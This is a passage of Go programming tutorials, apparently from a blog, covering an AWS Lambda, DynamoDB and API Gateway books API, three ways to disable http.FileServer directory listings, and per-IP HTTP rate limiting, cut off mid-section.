aws.NewConfig().WithRegion("us-east-1")) func getItem(isbn string) (*book, error) { // Prepare the input for the query. input := &dynamodb.GetItemInput{ TableName: aws.String("Books"), Key: map[string]*dynamodb.AttributeValue{ "ISBN": { S: aws.String(isbn), }, }, } // Retrieve the item from DynamoDB. If no matching item is found // return nil. result, err := db.GetItem(input) if err != nil { return nil, err } if result.Item == nil { return nil, nil } // The result.Item object returned has the underlying type // map[string]*AttributeValue. We can use the UnmarshalMap helper // to parse this straight into the fields of a struct. Note: // UnmarshalListOfMaps also exists if you are working with multiple // items. bk := new(book) err = dynamodbattribute.UnmarshalMap(result.Item, bk) if err != nil { return nil, err } return bk, nil } And then update the main.go to use this new code: File: books/main.gopackage main import ( "github.com/aws/aws-lambda-go/lambda" ) type book struct { ISBN string `json:"isbn"` Title string `json:"title"` Author string `json:"author"` } func show() (*book, error) { // Fetch a specific book record from the DynamoDB database. We'll // make this more dynamic in the next section. bk, err := getItem("978-0486298238") if err != nil { return nil, err } return bk, nil } func main() { lambda.Start(show) } Save the files, then rebuild and zip up the lambda function so it's ready to deploy: $ env GOOS=linux GOARCH=amd64 go build -o /tmp/main books $ zip -j /tmp/main.zip /tmp/main Re-deploying a lambda function is easier than creating it for the first time — we can use the aws lambda update-function-code command like so: $ aws lambda update-function-code --function-name books \ --zip-file fileb:///tmp/main.zip Let's try executing the lambda function now: $ aws lambda invoke --function-name books /tmp/output.json { "StatusCode": 200, "FunctionError": "Unhandled" } $ cat /tmp/output.json {"errorMessage":"AccessDeniedException: User: arn:aws:sts::account-id:assumed-role/lambda-books-executor/books is not authorized to perform: dynamodb:GetItem on resource: arn:aws:dynamodb:us-east-1:account-id:table/Books\n\tstatus code: 400, request id: 2QSB5UUST6F0R3UDSVVVODTES3VV4KQNSO5AEMVJF66Q9ASUAAJG","errorType":"requestError"} Ah. There's a slight problem. We can see from the output message that our lambda function (specifically, the lambda-books-executor role) doesn't have the necessary permissions to run GetItem on a DynamoDB instance. Let's fix that now. Create a privilege policy file that gives GetItem and PutItem privileges on DynamoDB like so: File: /tmp/privilege-policy.json{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "dynamodb:PutItem", "dynamodb:GetItem", ], "Resource": "*" } ] } And then attach it to the lambda-books-executor role using the aws iam put-role-policy command: $ aws iam put-role-policy --role-name lambda-books-executor \ --policy-name dynamodb-item-crud-role \ --policy-document file:///tmp/privilege-policy.json As a side note, AWS has some managed policies called AWSLambdaDynamoDBExecutionRole and AWSLambdaInvocation-DynamoDB which sound like they would do the trick. But neither of them actually provide GetItem or PutItem privileges. Hence the need to roll our own policy. Let's try executing the lambda function again. It should work smoothly this time and return information about the book with ISBN 978-0486298238. $ aws lambda invoke --function-name books /tmp/output.json { "StatusCode": 200 } $ cat /tmp/output.json {"isbn":"978-0486298238","title":"Meditations","author":"Marcus Aurelius"} Setting up the HTTPS API So our lambda function is now working nicely and communicating with DynamoDB. The next thing to do is set up a way to access the lamdba function over HTTPS, which we can do using the AWS API Gateway service. But before we go any further, it's worth taking a moment to think about the structure of our project. Let's say we have grand plans for our lamdba function to be part of a bigger bookstore API which deals with information about books, customers, recommendations and other things. There's three basic options for structuring this using AWS Lambda: Microservice style — Each lambda function is responsible for one action only. For example, there are 3 separate lambda functions for showing, creating and deleting a book. Service style — Each lambda function is responsible for a group of related actions. For example, one lambda function handles all book-related actions, but customer-related actions are kept in a separate lambda function. Monolith style — One lambda function manages all the bookstore actions. Each of these options is valid, and theres some good discussion of the pros and cons here. For this tutorial we'll opt for a service style, and have one books lambda function handle the different book-related actions. This means that we'll need to implement some form of routing within our lambda function, which I'll cover later in the post. But for now… Go ahead and create a bookstore API using the aws apigateway create-rest-api command like so: $ aws apigateway create-rest-api --name bookstore { "id": "rest-api-id", "name": "bookstore", "createdDate": 1522926250 } Note down the rest-api-id value that this returns, we'll be using it a lot in the next few steps. Next we need to get the id of the root API resource ("/"). We can retrieve this using the aws apigateway get-resources command like so: $ aws apigateway get-resources --rest-api-id rest-api-id { "items": [ { "id": "root-path-id", "path": "/" } ] } Again, keep a note of the root-path-id value this returns. Now we need to create a new resource under the root path — specifically a resource for the URL path /books. We can do this by using the aws apigateway create-resource command with the --path-part parameter like so: $ aws apigateway create-resource --rest-api-id rest-api-id \ --parent-id root-path-id --path-part books { "id": "resource-id", "parentId": "root-path-id", "pathPart": "books", "path": "/books" } Again, note the resource-id this returns, we'll need it in the next step. Note that it's possible to include placeholders within your path by wrapping part of the path in curly braces. For example, a --path-part parameter of books/{id} would match requests to /books/foo and /books/bar, and the value of id would be made available to your lambda function via an events object (which we'll cover later in the post). You can also make a placeholder greedy by postfixing it with a +. A common idiom is to use the parameter --path-part {proxy+} if you want to match all requests regardless of their path. But we're not doing either of those things. Let's get back to our /books resource and use the aws apigateway put-method command to register the HTTP method of ANY. This will mean that our /books resource will respond to all requests regardless of their HTTP method. $ aws apigateway put-method --rest-api-id rest-api-id \ --resource-id resource-id --http-method ANY \ --authorization-type NONE { "httpMethod": "ANY", "authorizationType": "NONE", "apiKeyRequired": false } Now we're all set to integrate the resource with our lambda function, which we can do using the aws apigateway put-integration command. This command has a few parameters that need a quick explanation: The --type parameter should be AWS_PROXY. When this is used the AWS API Gateway will send information about the HTTP request as an 'event' to the lambda function. It will also automatically transform the output from the lambda function to a HTTP response. The --integration-http-method parameter must be POST. Don't confuse this with what HTTP methods your API resource responds to. The --uri parameter needs to take the format: arn:aws:apigateway:us-east-1:lambda:path/2015-03-31/functions/your-lambda-function-arn/invocations With those things in mind, your command should look a bit like this: $ aws apigateway put-integration --rest-api-id rest-api-id \ --resource-id resource-id --http-method ANY --type AWS_PROXY \ --integration-http-method POST \ --uri arn:aws:apigateway:us-east-1:lambda:path/2015-03-31/functions/arn:aws:lambda:us-east-1:account-id:function:books/invocations { "type": "AWS_PROXY", "httpMethod": "POST", "uri": "arn:aws:apigateway:us-east-1:lambda:path/2015-03-31/functions/arn:aws:lambda:us-east-1:account-id:function:books/invocations", "passthroughBehavior": "WHEN_NO_MATCH", "cacheNamespace": "qtdn5h", "cacheKeyParameters": [] } Alright, let's give this a whirl. We can send a test request to the resource we just made using the aws apigateway test-invoke-method command like so: $ aws apigateway test-invoke-method --rest-api-id rest-api-id --resource-id resource-id --http-method "GET" { "status": 500, "body": "{\"message\": \"Internal server error\"}", "headers": {}, "log": "Execution log for request test-request\nThu Apr 05 11:07:54 UTC 2018 : Starting execution for request: test-invoke-request\nThu Apr 05 11:07:54 UTC 2018 : HTTP Method: GET, Resource Path: /books\nThu Apr 05 11:07:54 UTC 2018 : Method request path: {}[TRUNCATED]Thu Apr 05 11:07:54 UTC 2018 : Sending request to https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/arn:aws:lambda:us-east-1:account-id:function:books/invocations\nThu Apr 05 11:07:54 UTC 2018 : Execution failed due to configuration error: Invalid permissions on Lambda function\nThu Apr 05 11:07:54 UTC 2018 : Method completed with status: 500\n", "latency": 39 } Ah. So that hasn't quite worked. If you take a look through the outputted log information you should see that the problem appears to be: Execution failed due to configuration error: Invalid permissions on Lambda function This is happening because our bookstore API gateway doesn't have permissions to execute our lambda function. The easiest way to fix that is to use the aws lambda add-permission command to give our API permissions to invoke it, like so: $ aws lambda add-permission --function-name books --statement-id a-GUID \ --action lambda:InvokeFunction --principal apigateway.amazonaws.com \ --source-arn arn:aws:execute-api:us-east-1:account-id:rest-api-id/*/*/* { "Statement": "{\"Sid\":\"6d658ce7-3899-4de2-bfd4-fefb939f731\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-east-1:account-id:function:books\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-east-1:account-id:rest-api-id/*/*/*\"}}}" } Note that the --statement-id parameter needs to be a globally unique identifier. This could be a random ID or something more descriptive. Alright, let's try again: $ aws apigateway test-invoke-method --rest-api-id rest-api-id --resource-id resource-id --http-method "GET" { "status": 502, "body": "{\"message\": \"Internal server error\"}", "headers": {}, "log": "Execution log for request test-request\nThu Apr 05 11:12:53 UTC 2018 : Starting execution for request: test-invoke-request\nThu Apr 05 11:12:53 UTC 2018 : HTTP Method: GET, Resource Path: /books\nThu Apr 05 11:12:53 UTC 2018 : Method request path: {}\nThu Apr 05 11:12:53 UTC 2018 : Method request query string: {}\nThu Apr 05 11:12:53 UTC 2018 : Method request headers: {}\nThu Apr 05 11:12:53 UTC 2018 : Endpoint response body before transformations: {\"isbn\":\"978-0486298238\",\"title\":\"Meditations\",\"author\":\"Marcus Aurelius\"}\nThu Apr 05 11:12:53 UTC 2018 : Endpoint response headers: {X-Amz-Executed-Version=$LATEST, x-amzn-Remapped-Content-Length=0, Connection=keep-alive, x-amzn-RequestId=48d29098-38c2-11e8-ae15-f13b670c5483, Content-Length=74, Date=Thu, 05 Apr 2018 11:12:53 GMT, X-Amzn-Trace-Id=root=1-5ac604b5-cf29dd70cd08358f89853b96;sampled=0, Content-Type=application/json}\nThu Apr 05 11:12:53 UTC 2018 : Execution failed due to configuration error: Malformed Lambda proxy response\nThu Apr 05 11:12:53 UTC 2018 : Method completed with status: 502\n", "latency": 211 } So unfortunately there's still an error, but the message has now changed: Execution failed due to configuration error: Malformed Lambda proxy response And if you look closely at the output you'll see the information: Endpoint response body before transformations: {\"isbn\":\"978-0486298238\",\"title\":\"Meditations\",\"author\":\"Marcus Aurelius\"} So there's some definite progress here. Our API is talking to our lambda function and is receiving the correct response (a book object marshalled to JSON). It's just that the AWS API Gateway considers the response to be in the wrong format. This is because, when you're using the API Gateway's lambda proxy integration, the return value from the lambda function must be in the following JSON format: { "isBase64Encoded": true|false, "statusCode": httpStatusCode, "headers": { "headerName": "headerValue", ... }, "body": "..." } So to fix this it's time to head back to our Go code and make some alterations. Working with events The easiest way to provide the responses that the AWS API Gateway needs is to install the github.com/aws/aws-lambda-go/events package: go get github.com/aws/aws-lambda-go/events This provides a couple of useful types (APIGatewayProxyRequest and APIGatewayProxyResponse) which contain information about incoming HTTP requests and allow us to construct responses that the API Gateway understands. type APIGatewayProxyRequest struct { Resource string `json:"resource"` // The resource path defined in API Gateway Path string `json:"path"` // The url path for the caller HTTPMethod string `json:"httpMethod"` Headers map[string]string `json:"headers"` QueryStringParameters map[string]string `json:"queryStringParameters"` PathParameters map[string]string `json:"pathParameters"` StageVariables map[string]string `json:"stageVariables"` RequestContext APIGatewayProxyRequestContext `json:"requestContext"` Body string `json:"body"` IsBase64Encoded bool `json:"isBase64Encoded,omitempty"` } type APIGatewayProxyResponse struct { StatusCode int `json:"statusCode"` Headers map[string]string `json:"headers"` Body string `json:"body"` IsBase64Encoded bool `json:"isBase64Encoded,omitempty"` } Let's go back to our main.go file and update our lambda handler so that it uses the signature: func(events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) Essentially, the handler will accept a APIGatewayProxyRequest object which contains a bunch of information about the HTTP request, and return a APIGatewayProxyResponse object (which is marshalable into a JSON response suitable for the AWS API Gateway). File: books/main.gopackage main import ( "encoding/json" "fmt" "log" "net/http" "os" "regexp" "github.com/aws/aws-lambda-go/events" "github.com/aws/aws-lambda-go/lambda" ) var isbnRegexp = regexp.MustCompile(`[0-9]{3}\-[0-9]{10}`) var errorLogger = log.New(os.Stderr, "ERROR ", log.Llongfile) type book struct { ISBN string `json:"isbn"` Title string `json:"title"` Author string `json:"author"` } func show(req events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) { // Get the `isbn` query string parameter from the request and // validate it. isbn := req.QueryStringParameters["isbn"] if !isbnRegexp.MatchString(isbn) { return clientError(http.StatusBadRequest) } // Fetch the book record from the database based on the isbn value. bk, err := getItem(isbn) if err != nil { return serverError(err) } if bk == nil { return clientError(http.StatusNotFound) } // The APIGatewayProxyResponse.Body field needs to be a string, so // we marshal the book record into JSON. js, err := json.Marshal(bk) if err != nil { return serverError(err) } // Return a response with a 200 OK status and the JSON book record // as the body. return events.APIGatewayProxyResponse{ StatusCode: http.StatusOK, Body: string(js), }, nil } // Add a helper for handling errors. This logs any error to os.Stderr // and returns a 500 Internal Server Error response that the AWS API // Gateway understands. func serverError(err error) (events.APIGatewayProxyResponse, error) { errorLogger.Println(err.Error()) return events.APIGatewayProxyResponse{ StatusCode: http.StatusInternalServerError, Body: http.StatusText(http.StatusInternalServerError), }, nil } // Similarly add a helper for send responses relating to client errors. func clientError(status int) (events.APIGatewayProxyResponse, error) { return events.APIGatewayProxyResponse{ StatusCode: status, Body: http.StatusText(status), }, nil } func main() { lambda.Start(show) } Notice how in all cases the error value returned from our lambda handler is now nil? We have to do this because the API Gateway doesn't accept error objects when you're using it in conjunction with a lambda proxy integration (they would result in a 'malformed response' errors again). So we need to manage errors fully within our lambda function and return the appropriate HTTP response. In essence, this means that the return parameter of error is superfluous, but we still need to include it to have a valid signature for the lambda function. Anyway, save the file and rebuild and redeploy the lambda function: $ env GOOS=linux GOARCH=amd64 go build -o /tmp/main books $ zip -j /tmp/main.zip /tmp/main $ aws lambda update-function-code --function-name books \ --zip-file fileb:///tmp/main.zip And if you test it again now it should work as expected. Give it a try with different isbn values in the query string: $ aws apigateway test-invoke-method --rest-api-id rest-api-id \ --resource-id resource-id --http-method "GET" \ --path-with-query-string "/books?isbn=978-1420931693" { "status": 200, "body": "{\"isbn\":\"978-1420931693\",\"title\":\"The Republic\",\"author\":\"Plato\"}", "headers": { "X-Amzn-Trace-Id": "sampled=0;root=1-5ac60df0-0ea7a560337129d1fde588cd" }, "log": [TRUNCATED], "latency": 1232 } $ aws apigateway test-invoke-method --rest-api-id rest-api-id \ --resource-id resource-id --http-method "GET" \ --path-with-query-string "/books?isbn=foobar" { "status": 400, "body": "Bad Request", "headers": { "X-Amzn-Trace-Id": "sampled=0;root=1-5ac60e1c-72fad7cfa302fd32b0a6c702" }, "log": [TRUNCATED], "latency": 25 } As a side note, anything sent to os.Stderr will be logged to the AWS Cloudwatch service. So if you've set up an error logger like we have in the code above, you can query Cloudwatch for errors like so: $ aws logs filter-log-events --log-group-name /aws/lambda/books \ --filter-pattern "ERROR" Deploying the API Now that the API Gateway is working properly it's time to make it live. We can do this with the aws apigateway create-deployment command like so: $ aws apigateway create-deployment --rest-api-id rest-api-id \ --stage-name staging { "id": "4pdblq", "createdDate": 1522929303 } In the code above I've given the deployed API using the name staging, but you can call it anything that you wish. Once deployed your API should be accessible at the URL: https://rest-api-id.execute-api.us-east-1.amazonaws.com/staging Go ahead and give it a try using curl. It should work as you expect: $ curl https://rest-api-id.execute-api.us-east-1.amazonaws.com/staging/books?isbn=978-1420931693 {"isbn":"978-1420931693","title":"The Republic","author":"Plato"} $ curl https://rest-api-id.execute-api.us-east-1.amazonaws.com/staging/books?isbn=foobar Bad Request Supporting multiple actions Let's add support for a POST /books action. We want this to read and validate a new book record (from a JSON HTTP request body) and then add it to the DynamoDB table. Now that the different AWS services are hooked up, extending our lambda function to support additional actions is perhaps the most straightforward part of this tutorial, as it can be managed purely within our Go code. First update the db.go file to include a new putItem function like so: File: books/db.gopackage main import ( "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/session" "github.com/aws/aws-sdk-go/service/dynamodb" "github.com/aws/aws-sdk-go/service/dynamodb/dynamodbattribute" ) var db = dynamodb.New(session.New(), aws.NewConfig().WithRegion("us-east-1")) func getItem(isbn string) (*book, error) { input := &dynamodb.GetItemInput{ TableName: aws.String("Books"), Key: map[string]*dynamodb.AttributeValue{ "ISBN": { S: aws.String(isbn), }, }, } result, err := db.GetItem(input) if err != nil { return nil, err } if result.Item == nil { return nil, nil } bk := new(book) err = dynamodbattribute.UnmarshalMap(result.Item, bk) if err != nil { return nil, err } return bk, nil } // Add a book record to DynamoDB. func putItem(bk *book) error { input := &dynamodb.PutItemInput{ TableName: aws.String("Books"), Item: map[string]*dynamodb.AttributeValue{ "ISBN": { S: aws.String(bk.ISBN), }, "Title": { S: aws.String(bk.Title), }, "Author": { S: aws.String(bk.Author), }, }, } _, err := db.PutItem(input) return err } And then update the main.go function so that the lambda.Start() method calls a new router function, which does a switch on the HTTP request method to determine which action to take. Like so: File: books/main.gopackage main import ( "encoding/json" "fmt" "log" "net/http" "os" "regexp" "github.com/aws/aws-lambda-go/events" "github.com/aws/aws-lambda-go/lambda" ) var isbnRegexp = regexp.MustCompile(`[0-9]{3}\-[0-9]{10}`) var errorLogger = log.New(os.Stderr, "ERROR ", log.Llongfile) type book struct { ISBN string `json:"isbn"` Title string `json:"title"` Author string `json:"author"` } func router(req events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) { switch req.HTTPMethod { case "GET": return show(req) case "POST": return create(req) default: return clientError(http.StatusMethodNotAllowed) } } func show(req events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) { isbn := req.QueryStringParameters["isbn"] if !isbnRegexp.MatchString(isbn) { return clientError(http.StatusBadRequest) } bk, err := getItem(isbn) if err != nil { return serverError(err) } if bk == nil { return clientError(http.StatusNotFound) } js, err := json.Marshal(bk) if err != nil { return serverError(err) } return events.APIGatewayProxyResponse{ StatusCode: http.StatusOK, Body: string(js), }, nil } func create(req events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) { if req.Headers["Content-Type"] != "application/json" { return clientError(http.StatusNotAcceptable) } bk := new(book) err := json.Unmarshal([]byte(req.Body), bk) if err != nil { return clientError(http.StatusUnprocessableEntity) } if !isbnRegexp.MatchString(bk.ISBN) { return clientError(http.StatusBadRequest) } if bk.Title == "" || bk.Author == "" { return clientError(http.StatusBadRequest) } err = putItem(bk) if err != nil { return serverError(err) } return events.APIGatewayProxyResponse{ StatusCode: 201, Headers: map[string]string{"Location": fmt.Sprintf("/books?isbn=%s", bk.ISBN)}, }, nil } func serverError(err error) (events.APIGatewayProxyResponse, error) { errorLogger.Println(err.Error()) return events.APIGatewayProxyResponse{ StatusCode: http.StatusInternalServerError, Body: http.StatusText(http.StatusInternalServerError), }, nil } func clientError(status int) (events.APIGatewayProxyResponse, error) { return events.APIGatewayProxyResponse{ StatusCode: status, Body: http.StatusText(status), }, nil } func main() { lambda.Start(router) } Rebuild and zip up the lambda function, then deploy it as normal: $ env GOOS=linux GOARCH=amd64 go build -o /tmp/main books $ zip -j /tmp/main.zip /tmp/main $ aws lambda update-function-code --function-name books \ --zip-file fileb:///tmp/main.zip And now when you hit the API using different HTTP methods it should call the appropriate action: $ curl -i -H "Content-Type: application/json" -X POST \ -d '{"isbn":"978-0141439587", "title":"Emma", "author": "Jane Austen"}' \ https://rest-api-id.execeast-1.amazonaws.com/staging/books HTTP/1.1 201 Created Content-Type: application/json Content-Length: 7 Connection: keep-alive Date: Thu, 05 Apr 2018 14:55:34 GMT x-amzn-RequestId: 64262aa3-38e1-11e8-825c-d7cfe4d1e7d0 x-amz-apigw-id: E33T1E3eIAMF9dw= Location: /books?isbn=978-0141439587 X-Amzn-Trace-Id: sampled=0;root=1-5ac638e5-e806a84761839bc24e234c37 X-Cache: Miss from cloudfront Via: 1.1 a22ee9ab15c998bce94f1f4d2a7792ee.cloudfront.net (CloudFront) X-Amz-Cf-Id: wSef_GJ70YB2-0VSwhUTS9x-ATB1Yq8anWuzV_PRN98k9-DkD7FOAA== $ curl https://rest-api-id.execute-api.us-east-1.amazonaws.com/staging/books?isbn=978-0141439587 {"isbn":"978-0141439587","title":"Emma","author":"Jane Austen"}

• How to disable http.FileServer directory listings
  Mar 14, 2018

  A nice feature of Go's http.FileServer is that it automatically generates navigable directory listings, which look a bit like this: But for certain applications you might want to prevent this behavior and disable directory listings altogether. In this post I’m going to run through three different options for doing exactly that: Using index.html files Using middleware Using a custom filesystem Using index.html files Before http.FileServer generates a directory listing it checks for the existence of an index.html file in the directory root. If an index.html file exists, then it will respond with the contents of the file instead. So it follows that a simple way to disable directory listings is to add a blank index.html file to your root static file directory and all sub-directories, like so: . ├── main.go └── static ├── css │ ├── index.html │ └── main.css ├── img │ ├── index.html │ └── logo.png ├── index.html └── robots.txt If you've got a lot of sub-directories an easy way to do that is with a one-line command like this: $ find ./static/ -type d -exec touch {}/index.html \; Any requests for a directory should now result in an empty 200 OK response for the user, instead of a directory listing. For example: $ curl -i http://localhost:4000/static/img/ HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 0 Content-Type: text/html; charset=utf-8 Last-Modified: Tue, 13 Mar 2018 12:41:10 GMT Date: Tue, 13 Mar 2018 12:42:35 GMT Or without the trailing slash, the user should get a 301 Redirect like so: $ curl -i http://localhost:4000/static/img HTTP/1.1 301 Moved Permanently Location: /static/img/ Date: Tue, 13 Mar 2018 12:43:13 GMT Content-Length: 43 Content-Type: text/html; charset=utf-8 Moved Permanently. This is a good-enough solution if you can't (or don't want to) make any changes to your Go application itself. But it's not perfect. You'll need to remember to add a blank index.html file for any new sub-directories in the future, and many people — myself included — would argue that a 403 Forbidden or 404 Not Found status would be more appropriate than sending the user an empty 200 OK response. Using middleware Both of these imperfections can be addressed if we take a different approach and implement some custom middleware to intercept requests before they reach the http.FileServer. Essentially, we want the middleware to check if the request URL ends with a / character, and if it does, return a 404 Not Found response instead of passing on the request to the http.FileServer. Here's a basic implementation: package main import ( "log" "net/http" "strings" ) func main() { mux := http.NewServeMux() fileServer := http.FileServer(http.Dir("./static")) mux.Handle("/static/", http.StripPrefix("/static", neuter(fileServer))) err := http.ListenAndServe(":4000", mux) log.Fatal(err) } func neuter(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if strings.HasSuffix(r.URL.Path, "/") { http.NotFound(w, r) return } next.ServeHTTP(w, r) }) } This approach would result in a user getting responses like these: $ curl -i http://localhost:4000/static/img/ HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 13 Mar 2018 12:46:20 GMT Content-Length: 19 404 page not found $ curl -i http://localhost:4000/static/img HTTP/1.1 301 Moved Permanently Location: /static/img/ Date: Tue, 13 Mar 2018 12:46:55 GMT Content-Length: 43 Content-Type: text/html; charset=utf-8 Moved Permanently. To me, this feels like a cleaner and easier-to-maintain way to disable directory listings than using blank index.html files. But again, it's still not perfect. Firstly, requests for any directories without the trailing slash will be 301 redirected only to receive a 404 Not Found response. It's extra, unnecessary, requests for both the client and server to deal with. Secondly, if one of your directories does contain an index.html file then it won't ever be used. For example, if you have the directory structure... . ├── main.go └── static ├── css │ ├── index.html │ └── main.css ├── img │ └── logo.png └── robots.txt ... any request to http://localhost:4000/static/css/ will result in a 404 Not Found response instead of returning the contents of the /static/css/index.html file. $ curl -i http://localhost:4000/static/css/ HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 13 Mar 2018 12:51:09 GMT Content-Length: 19 404 page not found Using a custom filesystem The final option we're going to look at is creating a custom filesystem and passing that to your http.FileServer. There are a couple of approaches described by Brad Fitzpatrick and George Armhold you might want to consider, but I would personally suggest doing something like this: package main import ( "log" "net/http" "path/filepath" ) func main() { mux := http.NewServeMux() fileServer := http.FileServer(neuteredFileSystem{http.Dir("./static")}) mux.Handle("/static", http.NotFoundHandler()) mux.Handle("/static/", http.StripPrefix("/static", fileServer)) err := http.ListenAndServe(":4000", mux) log.Fatal(err) } type neuteredFileSystem struct { fs http.FileSystem } func (nfs neuteredFileSystem) Open(path string) (http.File, error) { f, err := nfs.fs.Open(path) if err != nil { return nil, err } s, err := f.Stat() if s.IsDir() { index := filepath.Join(path, "index.html") if _, err := nfs.fs.Open(index); err != nil { closeErr := f.Close() if closeErr != nil { return nil, closeErr } return nil, err } } return f, nil } In this code we're creating a custom neuteredFileSystem type which embeds the standard http.FileSystem. We then implement an Open() method on it — which gets called each time our http.FileServer receives a request. In our Open() method we Stat() the requested file path and use the IsDir() method to check whether it's a directory or not. If it is a directory we then try to Open() any index.html file in it. If no index.html file exists, then this will return a os.ErrNotExist error (which in turn we return and it will be transformed into a 404 Not Found response by http.Fileserver). We also call Close() on the original file to avoid a file descriptor leak. Otherwise, we just return the file and let http.FileServer do its thing. Putting this to use with the directory structure... . ├── main.go └── static ├── css │ ├── index.html │ └── main.css ├── img │ └── logo.png └── robots.txt ...would result in responses like: $ curl -i http://localhost:4000/static/img/ HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 13 Mar 2018 16:53:21 GMT Content-Length: 19 404 page not found $ curl -i http://localhost:4000/static/img HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 13 Mar 2018 16:53:22 GMT Content-Length: 19 404 page not found $ curl -i http://localhost:4000/static/css/ HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 37 Content-Type: text/html; charset=utf-8 Last-Modified: Tue, 13 Mar 2018 12:49:00 GMT Date: Tue, 13 Mar 2018 16:53:27 GMT This is my custom index page This is now working pretty nicely: All requests for directories (with no index.html file) return a 404 Not Found response, instead of a directory listing or a redirect. This works for requests both with and without a trailing slash. The default behavior of http.FileServer isn't changed any other way, and index.html files work as per the standard library documentation.

• How to rate limit HTTP requests in Go
  Dec 28, 2017

  If you're running a HTTP server and want to rate limit user requests, the go-to package to use is probably Tollbooth by Didip Kerabat. It's well maintained, has a good range of features and a clean and clear API. But if you want something simple and lightweight – or just want to learn – it's not too difficult to roll your own middleware to handle rate limiting. In this post I'll run through the essentials of how to do that by using the x/time/rate package, which provides a token bucket rate-limiter algorithm (note: this is also used by Tollbooth behind the scenes). If you would like to follow along, create a demo directory containing two files, limit.go and main.go, and initialize a new Go module. Like so: $ mkdir ratelimit-demo $ cd ratelimit-demo $ touch limit.go main.go $ go mod init example.com/ratelimit-demo Let's start by making a global rate limiter which acts on all the requests that a HTTP server receives. Open up the limit.go file and add the following code: File: ratelimit-demo/limit.go package main import ( "net/http" "golang.org/x/time/rate" ) var limiter = rate.NewLimiter(1, 3) func limit(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if limiter.Allow() == false { http.Error(w, http.StatusText(429), http.StatusTooManyRequests) return } next.ServeHTTP(w, r) }) } In this code we've used the rate.NewLimiter() function to initialize and return a new rate limiter. Its signature looks like this: func NewLimiter(r Limit, b int) *Limiter From the documentation: A Limiter controls how frequently events are allowed to happen. It implements a "token bucket" of size b, initially full and refilled at rate r tokens per second. Or to describe it another way – the limiter permits you to consume an average of r tokens per second, with a maximum of b tokens in any single 'burst'. So in the code above our limiter allows 1 token to be consumed per second, with a maximum burst size of 3. In the limit middleware function we call the global limiter's Allow() method each time the middleware receives a HTTP request. If there are no tokens left in the bucket Allow() will return false and we send the user a 429 Too Many Requests response. Otherwise, calling Allow() will consume exactly one token from the bucket and we pass on control to the next handler in the chain. It's important to note that the code behind the Allow() method is protected by a mutex and is safe for concurrent use. Let's put this to use. Open up the main.go file and setup a simple web server which uses the limit middleware like so: File: ratelimit-demo/main.go package main import ( "log" "net/http" ) func main() { mux := http.NewServeMux() mux.HandleFunc("/", okHandler) // Wrap the servemux with the limit middleware. log.Print("Listening on :4000...") http.ListenAndServe(":4000", limit(mux)) } func okHandler(w http.ResponseWriter, r *http.Request) { w.Write([]byte("OK")) } Go ahead and run the application… $ go run . And if you make enough requests in quick succession, you should eventually get a response which looks like this: $ curl -i localhost:4000 HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 21 Dec 2017 19:25:52 GMT Content-Length: 18 Too Many Requests Rate limiting per user While having a single, global, rate limiter is useful in some cases, another common scenario is implement a rate limiter per user, based on an identifier like IP address or API key. In this post we'll use IP address as the identifier. A conceptually straightforward way to do this is to create a map of rate limiters, using the identifier for each user as the map key. At this point you might think to reach for the sync.Map type that was introduced in Go 1.9. This essentially provides a concurrency-safe map, designed to be accessed from multiple goroutines without the risk of race conditions. But it comes with a note of caution: It is optimized for use in concurrent loops with keys that are stable over time, and either few steady-state stores, or stores localized to one goroutine per key.For use cases that do not share these attributes, it will likely have comparable or worse performance and worse type safety than an ordinary map paired with a read-write mutex. In our particular use-case the map keys will be the IP address of users, and so new keys will be added to the map each time a new user visits our application. We'll also want to prevent undue memory consumption by removing old entries from the map when a user hasn't been seen for a long period of time. So in our case the map keys won't be stable and it's likely that an ordinary map protected by a mutex will perform better. (If you're not familiar with the idea of mutexes or how to use them in Go, then this post has an explanation which you might want to read before continuing). Let's update the limit.go file to contain a basic implementation. I'll keep the code structure deliberately simple. File: ratelimit-demo/limit.go package main import ( "log" "net" "net/http" "sync" "golang.org/x/time/rate" ) // Create a map to hold the rate limiters for each visitor and a mutex. var visitors = make(map[string]*rate.Limiter) var mu sync.Mutex // Retrieve and return the rate limiter for the current visitor if it // already exists. Otherwise create a new rate limiter and add it to // the visitors map, using the IP address as the key. func getVisitor(ip string) *rate.Limiter { mu.Lock() defer mu.Unlock() limiter, exists := visitors[ip] if !exists { limiter = rate.NewLimiter(1, 3) visitors[ip] = limiter } return limiter } func limit(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Get the IP address for the current user. ip, _, err := net.SplitHostPort(r.RemoteAddr) if err != nil { log.Print(err.Error()) http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } // Call the getVisitor function to retreive the rate limiter for // the current user. limiter := getVisitor(ip) if limiter.Allow() == false { http.Error(w, http.StatusText(429), http.StatusTooManyRequests) return } next.ServeHTTP(w, r) }) } Removing old entries from the map There's one problem with this: as long as the application is running the visitors map will continue to grow unbounded. We can fix this fairly simply by recording the last seen time for each visitor and running a background goroutine to delete old entries from the map (and therefore free up memory as we go). File: 